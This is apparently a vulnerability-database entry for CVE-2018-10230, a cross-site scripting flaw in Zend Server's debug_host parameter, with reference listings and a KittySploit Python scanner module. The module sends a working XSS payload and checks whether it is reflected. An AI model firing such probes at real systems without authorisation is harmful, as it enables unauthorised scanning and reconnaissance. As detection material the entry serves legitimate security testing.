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Zend Server <9.13 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Cross-Site Scripting in Zend Server via the debug_host parameter.

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cnvd
CNVD
Zend Server Zend Debugger Cross-Site Scripting Vulnerability
11 May 201800:00
–cnvd
cve
CVE
CVE-2018-10230
19 Apr 201816:00
–cve
cvelist
Cvelist
CVE-2018-10230
19 Apr 201816:00
–cvelist
euvd
EUVD
EUVD-2018-2305
7 Oct 202500:30
–euvd
nuclei
Nuclei
Zend Server <9.13 - Cross-Site Scripting
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-10230
19 Apr 201816:29
–nvd
osv
OSV
CVE-2018-10230
19 Apr 201816:29
–osv
prion
Prion
Design/Logic Flaw
19 Apr 201816:29
–prion
ptsecurity
Positive Technologies
PT-2018-9770
19 Apr 201800:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-10230: Improper Neutralization of Input During Web Page Generation
19 Apr 201800:00
–rapid7
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zend Server before version 9."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Zend Server <9.13 - Cross-Site Scripting Detection',
        'description': 'Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'xss', 'zend', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf',
            'https://www.zend.com/en/products/server/release-notes',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-10230',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2018-10230',
    }

    def run(self):
        r = self.http_request(method="GET", path='/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('</script><script>alert(document.domain)</script>', 'is not allowed to open debug sessions',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="Zend Server <9.13 - Cross-Site Scripting detected",
                path='/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 36.1
EPSS0.02613
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